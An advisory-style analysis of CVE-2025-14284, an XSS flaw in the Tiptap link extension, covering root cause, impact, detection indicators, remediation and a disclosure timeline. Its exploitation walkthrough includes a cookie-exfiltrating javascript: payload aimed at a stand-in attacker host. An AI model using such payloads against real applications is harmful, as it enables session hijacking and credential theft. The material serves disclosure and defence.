CVE-2025-14284: 
JavaScript vulnerability analysis and mitigation

CVE-2025-14284 is a Cross-Site Scripting (XSS) vulnerability in the @tiptap/extension-link npm package affecting all versions before 2.10.4. The flaw allows attackers to inject javascript: URL payloads when setting or toggling links in the Tiptap rich-text editor, which execute arbitrary JavaScript upon user interaction. It was disclosed on December 9, 2025, with the vulnerability originally introduced as of November 29, 2024, and credited to researcher Thai Do Nhat (Snyk). The CVSS v3.1 base score is 6.1 (Medium), while the CVSS v4.0 base score is 2.0 (Low) (Github Advisory).

The root cause is insufficient input sanitization (CWE-79) in the setLink and toggleLink commands of the @tiptap/extension-link extension. Prior to version 2.10.4, these commands did not validate the href attribute against an allowlist of permitted protocols, meaning a javascript: URI could be stored as a valid link in the editor's document model. The fix in commit 1c2fefe added protocol validation checks using the existing isAllowedUri helper (now exported) to both setLink and toggleLink commands, blocking any href that does not conform to allowed protocols such as http or https (GitHub Commit). A public proof-of-concept gist demonstrates the attack on the live Tiptap demo site using the payload javascript:alert('XSS') (PoC Gist).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within the affected application. This can lead to session hijacking, credential theft, content manipulation, and unauthorized actions performed on behalf of the victim user. Availability is not impacted, but both confidentiality (e.g., cookie or token exfiltration) and integrity (e.g., DOM manipulation) of the application context are at risk (Github Advisory, Snyk).

A public proof-of-concept exploit is available as a GitHub Gist published by the original reporter, demonstrating the attack on the official Tiptap demo site (PoC Gist). The CVSS v4.0 exploit maturity is rated "Proof of Concept." There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.038% (12th percentile), indicating a low near-term exploitation probability (Github Advisory).

1. Identify a target application: Find a web application using @tiptap/extension-link version prior to 2.10.4 that allows users to create or edit links in the Tiptap editor.
2. Insert text and open the link dialog: In the Tiptap editor, select or type some text, then use the editor's "Set Link" button or equivalent UI control to open the link input dialog.
3. Inject the malicious payload: Enter javascript:alert('XSS') (or a more harmful payload such as javascript:document.location='https://attacker.com/?c='+document.cookie) as the link URL and confirm by clicking "Set Link."
4. Store the payload: The malicious javascript: URL is accepted without sanitization and stored as the href attribute of the link mark in the editor's document model.
5. Trigger execution: Convince a victim user to click the hyperlink within the editor or rendered content. Because contenteditable may prevent direct clicking in edit mode, the attacker may need the content to be rendered in a read-only or published view. The PoC demonstrates setting contenteditable to false on the editor div to make the link clickable.
6. Achieve JavaScript execution: The browser executes the injected JavaScript in the context of the hosting application's origin, enabling session token theft, phishing overlays, or other malicious actions (PoC Gist).

• Network: Outbound requests from a victim's browser to unexpected external domains shortly after interacting with Tiptap-powered editor content; potential exfiltration of cookies or tokens via query parameters (e.g., https://attacker.com/?c=<cookie_value>).
• Logs: Application or web server logs showing user-generated content containing javascript: URI schemes in link href attributes stored in the database or transmitted via API.
• File System / Database: Stored editor content (JSON or HTML) containing link marks with href values beginning with javascript: or other non-http/https protocols.
• Browser: Unexpected JavaScript alert dialogs or redirects triggered when clicking links within Tiptap editor content; browser developer tools showing execution of inline scripts originating from javascript: href attributes (PoC Gist).

The primary remediation is to upgrade @tiptap/extension-link to version 2.10.4 or later, which adds protocol validation to the setLink and toggleLink commands to block javascript: and other non-allowlisted URI schemes (GitHub Release, GitHub Commit). As additional defense-in-depth measures, implement a strict Content Security Policy (CSP) to restrict inline script execution, perform server-side validation of stored link content to reject javascript: URIs, and use output encoding when rendering user-supplied link content (Snyk).

The vulnerability was reported by researcher Thai Do Nhat and published via Snyk's vulnerability database on December 8, 2025 (Snyk). The Tiptap maintainers responded promptly, releasing the patched version 2.10.4 on December 19, 2025, with the fix authored by contributor bdbch (GitHub Release). No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability tracking platforms.